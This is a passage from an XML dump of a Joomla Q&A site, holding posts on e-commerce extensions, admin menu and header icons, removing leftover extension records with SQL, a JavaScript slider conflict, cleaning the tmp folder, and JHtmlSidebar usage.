rel=&quot;nofollow&quot;&gt;J2Store&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://atlanticintelligence.net/&quot; rel=&quot;nofollow&quot;&gt;SimpleCaddy&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://miwisoft.com/joomla-extensions/mijoshop-joomla-shopping-cart&quot; rel=&quot;nofollow&quot;&gt;MijoShop&lt;/a&gt; &lt;sup&gt;2&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://redcomponent.com/redcomponent/redshop&quot; rel=&quot;nofollow&quot;&gt;RedSHOP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; &lt;em&gt;Not available for Joomla 3.x, VM3 currently &lt;a href=&quot;http://virtuemart.net/news/latest-news/460-updates-about-virtuemart-3-support-membership&quot; rel=&quot;nofollow&quot;&gt;under development&lt;/a&gt;&lt;/em&gt;&lt;br&gt;&#xA;&lt;sup&gt;2&lt;/sup&gt; &lt;em&gt;Only commercial version available&lt;/em&gt;&lt;br&gt;&#xA;&lt;sup&gt;3&lt;/sup&gt; &lt;em&gt;Not available for Joomla 3.x&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional e-commerce systems can be found at &lt;a href=&quot;http://extensions.joomla.org/extensions/e-commerce&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-16T21:59:39.340" LastActivityDate="2014-08-16T21:59:39.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4071" PostTypeId="4" CreationDate="2014-08-15T22:59:05.030" Score="0" Body="Electronic commerce, commonly known as e-commerce, eCommerce or e-comm, refers to the buying and selling of products or services over electronic systems such as the Internet." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-16T21:59:36.613" LastActivityDate="2014-08-16T21:59:36.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4072" PostTypeId="5" CreationDate="2014-08-15T23:02:50.427" Score="0" Body="&lt;h2&gt;Joomla 3.3.x&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For question regarding &lt;strong&gt;Joomla 3.3.x&lt;/strong&gt; of the Content Management System only. Joomla 3.3.x is a STS (Short Term Support) version. Support ends one month after the next release of Joomla is released. One click upgrades to the next STS or LTS version is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Both STS and LTS releases, once they have reached the GA (General Availability) status, are fully functional and ready to be used in production environment. The disadvantage of using STS releases is that you will need to update your installation of Joomla more often, while the advantage is that you will have access to new features and extensions earlier.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.0 was released on September 27, 2012. Originally, it was supposed to be released in July 2012; however, the January/July release schedule was uncomfortable for volunteers, and the schedule was changed to September/March releases &lt;a href=&quot;http://groups.google.com/group/joomla-dev-cms/browse_thread/thread/fd42ad8752150735&quot; rel=&quot;nofollow&quot;&gt;(1)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Important changes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Responsive by default.&lt;/strong&gt; The default templates (Front-end: Protostar, Back-end: Isis) are fully responsive, and Joomla was the first major CMS to achieve this.&#xA;Twitter Bootstrap integration&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;jQuery&lt;/strong&gt;. As of Joomla 3, jQuery is the default javascript framework. Mootools is still available, but deprecated, and might be removed in future versions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;New admin interface.&lt;/strong&gt; Big overhaul of admin interface to improve usability&#xA;PostgreSQL support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Getting Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The latest version of Joomla can be downloaded from &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/download.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Installation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla can be installed on any host with the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow&quot;&gt;minimum system requirements&lt;/a&gt;, or on a local computer using a web server like &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot; rel=&quot;nofollow&quot;&gt;XAMPP, WAMP, LAMP, MAMP etc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions on how to install Joomla can be found at &lt;a href=&quot;http://docs.joomla.org/Installing_Joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla! Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:26:41.973" LastActivityDate="2015-08-21T15:26:41.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4073" PostTypeId="4" CreationDate="2014-08-15T23:02:50.427" Score="0" Body="For question regarding Joomla 3.3.x of the Content Management System only. If the question is relevant to any Joomla 3 version." OwnerUserId="1629" LastEditorUserId="168" LastEditDate="2015-04-09T14:26:43.230" LastActivityDate="2015-04-09T14:26:43.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4074" PostTypeId="1" AcceptedAnswerId="4075" CreationDate="2014-08-16T05:07:22.097" Score="4" ViewCount="1110" Body="&lt;p&gt;I'm following a tutorial for adding a menu icon (2.5) to the backend. That didn't work. So I tried this (3.x): &lt;a href=&quot;http://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_decorations_to_the_backend#helloworld.xml&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_decorations_to_the_backend#helloworld.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That didn't work either. So I tried to inspect what's going on in chrome element inspector. My component is showing the below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;menu-com_component_16x16&quot; href=&quot;index.php?option=com_component&quot;&amp;gt;Component Management&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;com_component_16x16.png&quot; is my icon name. I checked that it is installed in the media/com_component/images/ folder correctly. What could be the problem here?&lt;/p&gt;&#xA;" OwnerUserId="1787" LastEditorUserId="126" LastEditDate="2014-08-17T14:21:43.527" LastActivityDate="2014-08-17T14:21:43.527" Title="How to set up a menu icon in Joomla 3?" Tags="|component|development|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4075" PostTypeId="2" ParentId="4074" CreationDate="2014-08-16T05:26:12.087" Score="4" Body="&lt;p&gt;Answered my own question shortly after I wrote it. It was to do with the template. For some reason, the default ISIS template disables the icon view. If you are experiencing this problem, go to administrator/templates/isis/css/template.css and comment out the below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*.nav-collapse .nav li a,&#xA;.dropdown-menu a {&#xA;    background-image: none;&#xA;}*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1787" LastActivityDate="2014-08-16T05:26:12.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4077" PostTypeId="2" ParentId="4066" CreationDate="2014-08-16T14:01:17.930" Score="1" Body="&lt;p&gt;I am getting this error quite often on a test system when trying to install a component which uses SQL updates and causes first time when installing an error (even not SQL related, such a missing file from the manifest file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some steps on how to fix this, by manually uninstalling the component, as from the Extension manager the installation may / will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Find the id of your extension&lt;/strong&gt; (you may also find multiple entries)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM  `#__extensions` &#xA;WHERE  `name` LIKE  '%myextensionname%'&#xA;LIMIT 0 , 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remove from &lt;code&gt;#__schemas&lt;/code&gt; the entries for extension&lt;/strong&gt;, where &lt;code&gt;extension_id&lt;/code&gt; is the previous found id. Remove also any entries for non existing extensions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remove any assets&lt;/strong&gt; for your extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM  `#__assets` &#xA;WHERE  `name` LIKE  '%myextensionname%'&#xA;LIMIT 0 , 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remove any menu entries:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM  `#__menu` &#xA;WHERE  `link` LIKE  '%myextensionname%'&#xA;LIMIT 0 , 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reinstall.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: originally posted on &lt;a href=&quot;https://stackoverflow.com/a/22409034/766177&quot;&gt;SO&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="12352" LastEditDate="2019-02-03T01:45:11.983" LastActivityDate="2019-02-03T01:45:11.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4078" PostTypeId="1" AcceptedAnswerId="4079" CreationDate="2014-08-16T19:57:16.207" Score="5" ViewCount="1907" Body="&lt;p&gt;I am building my own component and I would like to add my icons/images left of the Title in the administrative pages of the component (backend), like the core components have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qsjby.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-05T11:24:22.140" LastActivityDate="2015-06-05T11:24:22.140" Title="How to add image/icon to the header of the administration pages of a component?" Tags="|component|development|administrator|view|administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4079" PostTypeId="2" ParentId="4078" CreationDate="2014-08-16T20:01:59.440" Score="6" Body="&lt;p&gt;You can define a class for the Header Title of your view, while creating the toolbar for your view within the &lt;strong&gt;view.html.php.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within your &quot;&lt;strong&gt;addToolbar()&lt;/strong&gt;&quot; function, you can call the &lt;strong&gt;JToolbarHelper::title()&lt;/strong&gt; method, and specify a second paramater (string) to define a CSS class to the toolbar title, with a prefix of &quot;icon-&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::title(JText::_('COM_MYCOMPONETE_LIST_ITEMS'), 'myclass');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This will result to the following html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;icon-myclass&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    My Componete: List Items&#xA;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can actually type more than one words separated by space, and these will be added as extra classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then include in your component's css file, the rule for your class and specify your background image.&#xA;The location of your css and images file should be in the Media folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;media/mycomponent/images/&#xA;&#xA;media/commycomponent/css/admin.styles.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However keep in mind that in Joomla 3, it is a common practice to not use images, rather than using the css pseudo element ::before with the CSS &quot;content&quot; attribute, taking advantage of the icomoon font by Fontawesome that is already loaded in the admin template (and you can find it here: &quot;media/jui/fonts/&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS Example below, will add the &quot;&lt;strong&gt;Home&lt;/strong&gt;&quot; icon, left of Title of the view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.icon-myclass::before {&#xA;    content: &quot;\0021&quot;; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;\0021&quot; is the unicode for exclamation mark (!) */&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-13T21:06:30.763" LastActivityDate="2014-11-13T21:06:30.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4080" PostTypeId="2" ParentId="4057" CreationDate="2014-08-16T22:39:09.260" Score="4" Body="&lt;p&gt;Initially I figured the best would be to use the controller method save(), which I finally got working like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = JPATH_ADMINISTRATOR . '/components/com_anycomponent;&#xA;JLoader::register('AnycomponentControllerAnyController', $path . '/controllers/anycontroller.php');&#xA;$controller = AnycomponentControllerAnyController::getInstance('Anycomponent'); &#xA;$controller-&amp;gt;addModelPath($path . '/models', 'Anycomponent');  &#xA;JTable::addIncludePath($path . '/tables'); &#xA;JForm::addFormPath($path . '/models/forms');&#xA;$ret = $controller-&amp;gt;save();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, when calling a controller from outside the component, you need to specify all paths that's needed. This applies when the controller extends JControllerForm, which is now in the legacy folder in joomla, but used throughout the joomla core. For frontend - controllers it might not work so smooth, unless these also extend JControllerForm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When calling save like this, all necessary checks seems to be done: data-validation, access-checks etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't see the best way to get the inserted id from the controller, the save() function simply returns true or false depending on the success of the function call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to use the same method as above for calling model -save() (my suggestion in the question above), adding the neccessary paths first. This can be more flexible,  however then you need to perform data-validation-checks and access-checks yourself. Calling controller-save() takes care of these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please feel free to correct/extend this answer if you have more info on the subject.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: If you are using this method to save existing data, you need to add the id-parameter to the url, like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_whatever&amp;amp;view=wdata&amp;amp;task=save&amp;amp;id=20 &#xA;// where 20 is the id you are editing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the id is only in a field on the form this will be ignored, and the record added as a new record. &lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="360" LastEditDate="2014-08-26T20:06:07.753" LastActivityDate="2014-08-26T20:06:07.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4082" PostTypeId="1" CreationDate="2014-08-18T06:21:11.873" Score="1" ViewCount="1201" Body="&lt;p&gt;I use DJ Image Slider on my Joomla 3.3.1 to get an animated banner. The module works fine on both home pages (it's a bilingual website) but not all the other menu-items where the first slide is loaded but the module remains static.It doesn't &quot;auto slide&quot; nor can you navigate to the other slides.  (You can see what I mean &lt;a href=&quot;http://20000km.com/en/photos-videos&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find the source of this issue. Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help! &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2016-03-25T00:40:45.607" Title="Image slider gets stuck on menu items others than home." Tags="|module|joomla-3.3.x|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4083" PostTypeId="2" ParentId="4082" CreationDate="2014-08-18T07:13:59.130" Score="1" Body="&lt;p&gt;For some reason the javascript file is not loaded on the other pages, only on the home. &#xA;This is the js error you have:&#xA;&quot;&#xA;Uncaught TypeError: object is not a function &#xA;Uncaught ReferenceError: DJImageSliderModule is not defined &quot;&#xA;Make sure you have this line in your template index.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or check the template settings of the pages. &#xA;This is the first two things I can think about for now.&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-08-18T07:13:59.130" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4084" PostTypeId="2" ParentId="4082" CreationDate="2014-08-18T08:19:46.117" Score="2" Body="&lt;p&gt;As mentioned it's a js issue, you could try to debug this manually however it may take some time. I have used this image slider in the past and had some issues with js conflicts, however I was able to resolve them - see below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should try using &lt;a href=&quot;http://www.simplifyyourweb.com/index.php/developers-corner/90-solving-jquery-jquery-and-jquery-mootools-conflict-issues-with-the-jquery-easy-plugin&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; to resolve your issue. Its a plugin that removes unnecessary multiple occurrences of jQuery libraries - which may be your issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the plugin it's possible to;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable MooTools libraries tentatively in the frontend.&lt;/li&gt;&#xA;&lt;li&gt;Enable or disable the plugin in specific portions of the site, from&#xA;template to single page.&lt;/li&gt;&#xA;&lt;li&gt;Use reporting to get feedback on what the plugin engine has done.&lt;/li&gt;&#xA;&lt;li&gt;Add or remove scripts and stylesheets.&lt;/li&gt;&#xA;&lt;li&gt;Strip blank lines left by the modifications made to the page.&lt;/li&gt;&#xA;&lt;li&gt;Prevent some libraries to be stripped out.&lt;/li&gt;&#xA;&lt;li&gt;Modify the way the engine works by default (do not add or remove&#xA;noConflict() code…).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try all of the available options in the config of the plugin settings (different js versions etc), hopefully one of them will work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-08-18T08:19:46.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4085" PostTypeId="2" ParentId="4082" CreationDate="2014-08-18T08:35:42.953" Score="1" Body="&lt;p&gt;Debugging such issues needs some work and time and usually access to the site is very helpful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have much time at the moment to review your front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things that you could try are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;check if multiple instances of js libraries e.g. jQuery are loaded and disable them, leaving only one load.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try by disabling other extensions to see if any of them conflict with each other. Sometimes we have to leave some extensions if they do cause us such issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;External Links&lt;/strong&gt;&lt;br&gt;&#xA;A few resources with good information about spotting and troubleshooting js issues &lt;a href=&quot;http://www.simplifyyourweb.com/index.php/developers-corner/90-solving-jquery-jquery-and-jquery-mootools-conflict-issues-with-the-jquery-easy-plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;solving jQuery / Mootools conflict issues with the jQuery-easy-plugin&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;http://docs.joomlabamboo.com/getting-started/how-to-resolve-jquery-conflicts2&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;how to resolve jQuery conflicts&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-03-25T00:40:45.607" LastActivityDate="2016-03-25T00:40:45.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4086" PostTypeId="2" ParentId="4082" CreationDate="2014-08-18T09:59:39.430" Score="2" Body="&lt;p&gt;Ok, think about this logically. It works fine on the homepage but not on other pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could mean that there is another script being loaded on other pages that is causing problems. Could be that there is a missing tag somewhere. You would be best off disabling (not uninstalling) each extensions, 1 by 1 that are associated with the other pages. After disabling each extension, refresh the page to see if the problem still occurs. You may also want to take into consideration that the scripts are being loaded in a different order on all other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before doing this though, at a guess, I think it might be due to the fact that this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/modules/mod_djimageslider/assets/powertools-1.2.0.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is being loaded &lt;strong&gt;after&lt;/strong&gt; this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/modules/mod_djmenu/assets/js/jquery.djmenu.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Powertools is used to create custom events, therefore it's possible that &lt;code&gt;djmenu.js&lt;/code&gt; is trying to create an event but can't because the file hasn't loaded yet. &lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-18T10:09:30.400" LastActivityDate="2014-08-18T10:09:30.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4087" PostTypeId="1" AcceptedAnswerId="4088" CreationDate="2014-08-18T10:05:19.440" Score="17" ViewCount="14450" Body="&lt;p&gt;My Joomla website currently uses about 100 MB of storage. I checked my folders and found out that the &lt;strong&gt;&lt;code&gt;tmp folder&lt;/code&gt;&lt;/strong&gt; is about 30MB and contains a number of files and folders named like &quot;install_320e535e4332c2. Some of these files are more recent, while others seems to be much older (more than 1 month). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked a clean Joomla install and found this folder empty. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the actual need for this folder?&lt;/li&gt;&#xA;&lt;li&gt;Would it be okay to delete its content on my live site?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-14T11:57:27.210" LastActivityDate="2017-01-14T11:57:27.210" Title="Joomla tmp directory - What is it for and can I delete its content?" Tags="|joomla-3.x|joomla-2.5|security|administration|maintenance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4088" PostTypeId="2" ParentId="4087" CreationDate="2014-08-18T10:06:20.470" Score="14" Body="&lt;p&gt;You can definitely delete the files in the tmp directory and actually it is strongly recommended to do so and maintain it clean. &#xA;You should only keep the index.html file in place, that may prevent potential directory listing of the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tmp (temporary) folder is used by Joomla and its extensions when performing software installations or during the system is handling files and needs a location to temporarily store them. &#xA;In many cases these files get stuck in the tmp folder. Apparently this may result to HD space issues, but there is also another bigger risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since these files may come from old extensions once installed in your website, they can contain old vulnerable and insecure code. &#xA;They can also be any kind of executable php files, or can contain other sensitive information which can be exposed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although your other security settings and your server configuration may be a safeguard, the best practice is to delete such files and keep your website clean, something that you should periodically perform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned above, you should only keep the index.html file. For enhanced security you could also place an .htaccess file with rules to prevent web access to the folder.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;About tmp directory permissions.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As said, tmp folder is used by the Joomla System during installation. It's common situation when insufficient permissions or a wrong entry in the configuration for the path of the tmp directory, will cause installations to fail. In such case make sure that you have correctly set the path in the configuration file for the tmp directory and it has sufficient permissions.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Auto-Cleaning the tmp directory&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For an automated process of auto-cleaning the tmp folder alongside with Lodder's suggestion for Akeeba Admin Tools, I would recommend &lt;a href=&quot;http://www.nonumber.nl/extensions/cachecleaner&quot;&gt;&lt;strong&gt;NoNumber's Cache Cleaner&lt;/strong&gt;&lt;/a&gt; plugin which provides a special setting for the tmp folder as well.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-25T11:26:55.777" LastActivityDate="2014-11-25T11:26:55.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4089" PostTypeId="2" ParentId="4087" CreationDate="2014-08-18T10:26:36.080" Score="6" Body="&lt;p&gt;In addition to @FFrewin's answer, if you do not have FTP access, you can clean the &lt;strong&gt;tmp&lt;/strong&gt; folder using &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/14087&quot; rel=&quot;nofollow noreferrer&quot;&gt;Admin Tools&lt;/a&gt;. The option for this is located on the Admin Tools control panel as shown in the below screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8slF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by FFrewin, the Pro version of Admin Tools allows you to perform a scheduled clean up of the &lt;strong&gt;tmp&lt;/strong&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to this, you can also install an extension from the &lt;strong&gt;tmp&lt;/strong&gt; folder, by following these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In your &lt;strong&gt;tmp&lt;/strong&gt; directory, create a new folder, for example &lt;strong&gt;helloworld&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract your zip file on your computer and upload the contents to this newly created folder. Depending on your FTP client, you could firstly upload the zip file and &lt;em&gt;then&lt;/em&gt; extract it.&lt;/li&gt;&#xA;&lt;li&gt;In the Joomla backend, go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Extension Manager&lt;/strong&gt; and on the tabs below, select &lt;strong&gt;Install from Directory&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You will see a predefined path, such as &lt;code&gt;/home/xxx/public_html/tmp&lt;/code&gt; which you simply need to add your newly created folder on to, so it would be &lt;code&gt;/home/xxx/public_html/tmp/helloworld&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;strong&gt;Install&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-18T10:33:33.217" LastActivityDate="2014-08-18T10:33:33.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4090" PostTypeId="1" AcceptedAnswerId="4091" CreationDate="2014-08-18T13:17:10.483" Score="7" ViewCount="7570" Body="&lt;p&gt;I can't find any tutorials on how to use the &lt;code&gt;JHtmlSidebar&lt;/code&gt; Utility Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This comes close to it: &lt;a href=&quot;http://docs.joomla.org/Creating_a_toolbar_for_your_component&quot; rel=&quot;noreferrer&quot;&gt;Creating a toolbar for your component&lt;/a&gt;, but it is very vague. It mentions &lt;code&gt;$this-&amp;gt;sidebar&lt;/code&gt;, which suggest that the View class should have an attribute sidebar. But sidebar attribute doesn't exist in the View class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtmlSidebar::addEntry('test','test',0);&#xA;echo $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does indeed echo the sidebar, but it sits at top or bottom of my view, not on the side. I'm just wondering if there is a way to let Joomla do the rendering for me, instead of creating my own layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some help or links to useful tutorial on the use of admin side bar would be much appreciated. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;com_helloworld/views/helloworld/view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.application.component.view');&#xA;&#xA;class HelloWorldViewHelloWorld extends JViewLegacy {&#xA;    public function display($tpl = NULL){&#xA;        $this-&amp;gt;addToolbar();&#xA;        $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;        }&#xA;    }&#xA;&#xA;    protected function addToolbar(){&#xA;        require_once JPATH_COMPONENT . '/helpers/helloworld .php';&#xA;        JToolBarHelper::title( 'Hello World', 'helloworld' );&#xA;        